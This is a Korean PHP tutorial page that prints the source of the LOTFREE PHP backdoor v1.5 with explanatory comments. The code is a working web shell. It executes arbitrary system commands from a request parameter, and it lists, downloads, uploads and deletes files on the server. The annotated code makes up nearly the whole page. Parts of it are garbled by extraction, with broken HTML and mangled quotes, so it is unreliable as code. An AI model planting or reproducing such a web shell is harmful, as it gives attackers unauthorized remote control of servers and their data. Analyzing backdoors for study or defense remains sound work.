>백엔드 개발 >PHP 튜토리얼 >PHP 백도어 파일 설명

PHP 백도어 파일 설명

WBOY
WBOY원래의
2016-07-25 09:13:332011검색

PHP 백도어 버전 1.5는 sirius_black/LOTFREE TEAM이 작성한 PHP 백도어 프로그램이며, 이에 대한 간단한 분석도 있으며, PHP 학습을 위한 참고사항으로도 백도어 프로그램이 실행됩니다. 웹서버와 php 설치시 사용자의 권한에 따라 명령어가 달라집니다. 관리자라면 다양한 운영체제 명령어를 실행할 수 있습니다.

다음은 백도어 프로그램에 대한 설명입니다


  1. < ;?php
  2. function good_link($link)
  3. {
  4. $link=ereg_replace(“/”,”/”,$link);
  5. $link=ereg_replace(“/[^/(..)] /..”,”/”,$link);
  6. $link=ereg_replace(“/”,”/”, $link );
  7. if(!strncmp($link,”./”,2) && strlen($link)>2)$link=substr($link,2);
  8. if($link==”")$link=”.”;
  9. return $link;
  10. }
  11. //$_REQUEST는 제출물을 얻는 데 사용됩니다. 이 파일에 Data
  12. $dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:"."; //dir이 정의되지 않은 경우 dir은 기본값 "을 사용합니다. ."
  13. $dir=good_link($dir);
  14. $rep=opendir($dir); //dir에 지정된 경로 핸들 열기
  15. chdir($ dir); // dir
  16. if(isset($_REQUEST["down"]) &&$_REQUEST["down"]!=”") //If down
    에 지정된 디렉터리로 전환합니다.
  17. { 정의됨
  18. header(“Content-Type: application/octet-stream”);
  19. header(“Content-Length: “.filesize($_REQUEST["down")" ]));
  20. header(“Content-Disposition: attachment; filename=".basename($_REQUEST["down"]));
  21. readfile($_REQUEST["down"] ); //파일을 버퍼에 추가
  22. exit();
  23. }
  24. ?>

  25. LOTFREE PHP 백도어 v1.5, yeetrack.com



  26. echo "현재 절대 경로는 ".getcwd()."
    n"; 현재 절대 경로
  27. echo "dir = '$dir'
    n";
  28. echo "현재 디렉터리, 파일 목록!n”;
  29. //실행할 명령이 입력된 경우
  30. if(isset($_REQUEST['cmd']) &&$_REQUEST['cmd' ]!=”” )
  31. {
  32. echo “
    n”;<br>
    </li>
    <li>system($_REQUEST['cmd']) //입력한 내용을 실행합니다. 서버에서 명령어를 실행하면 실행 결과가 에코<br>
    </li>
    <li>echo “
    n”;
  33. }
  34. //파일이 업로드된 경우
  35. if(isset( $_FILES["fic"]["name"]) && isset($_POST["MAX_FILE_SIZE"])) //게시된 파일을 가져와서 현재 디렉터리에 저장합니다
  36. {
  37. if($_FILES["fic"]["size"]<$_POST["MAX_FILE_SIZE"]) //파일이 크기 사양을 충족하는지 확인
  38. {
  39. if(move_uploaded_file($ _FILES["fic"]["tmp_name"],good_link("./".$_FILES["fic"]["name"]))) //임시 파일을 현재 디렉터리
  40. {
  41. echo "파일이 성공적으로 저장되었습니다".good_link("./".$_FILES["fic"]["name"])."!
    n ";
  42. }
  43. else echo "파일 업로드 실패: ".$_FILES["fic"]["error"]."
    n";
  44. }
  45. else echo "파일이 너무 큽니다(파일이 크기 제한을 초과함)!
    n";
  46. }
  47. if(isset($_REQUEST['rm ']) &&$_REQUEST['rm ']!="") //rm이 정의된 경우 지정된 파일을 삭제합니다
  48. {
  49. if(unlink($_REQUEST['rm' ])) //unlink is php 파일 삭제 기능
  50. echo "".$_REQUEST['rm']."을 성공적으로 삭제했습니다!
    n";
  51. else echo "실패했습니다. 파일 삭제
    n ”;
  52. }
  53. ?>



  54. $t_dir=array();
  55. $t_file=array() ;
  56. $i_dir=0;
  57. $i_file=0;
  58. //읽기 전에 디렉토리 파일을 반복하여 t_dir에 배치하고 t_file
  59. while($x=readdir($rep))
  60. {
  61. if(is_dir($x)) //현재 처리가 디렉터리인 경우
  62. $t_dir [$i_dir ]=$x;
  63. else //현재 처리 중인 파일이
  64. $t_file[$i_file ]=$x;
    <인 경우 🎜>}

  65. closedir($rep); //opendir에 의해 열린 디렉토리 핸들을 닫습니다.

  66. while(1) //현재 경로의 디렉토리와 파일을 반복합니다.

  67. {

  68. ?>







  69. if (! $x && !$y)
  70. break;
  71. }
  72. ?>


  73. if($x=each($t_dir))

  74. {

  75. $name=$x["value"]; //t_dir 배열에서 디렉터리 이름을 가져옵니다

  76. if($name=='.'){ }
  77. elseif($name=='..') echo " UP(상위 디렉터리)

    n”; //UP 링크를 표시하고 상위 디렉터리의 파일 목록을 읽습니다
  78. else
  79. echo “ ".$name."< / a>n";
  80. }
  81. ?>
  82. //$_SERVER['PHP_SELF']는 현재 PHP 스크립트 파일 이름을 가져옵니다
  83. if($y=each($t_file))
  84. {
  85. if($y["key"]%2==0) //현재 키를 처리 중인 경우
  86. echo ” bgcolor='lightgreen'>n”;
  87. else //현재 처리가 값, 즉 파일인 경우. 파일이 표시되고 다운로드 링크가 제공됩니다.
  88. echo “>n”;
  89. echo “ ".$y["value"]."n";
  90. }
  91. else echo ">n";
  92. ?>
  93. if($y)
  94. {
  95. //파일인 경우 파일 삭제를 위해 다음 링크를 제공하세요
  96. if($y[" key" ]%2==0)echo ” bgcolor='lightgreen'";
  97. echo ">Del”;
  98. }
  99. else echo “>n ”;
  100. ?>

  101. <시간>


  102. ?dir=”>revenirau 레퍼토리 d' Origine



  103. ">
  104. Execute commande(운영 체제 명령 실행)


  105. 서버의 현재 디렉터리에 파일 업로드:

  106. 코드 복사





성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.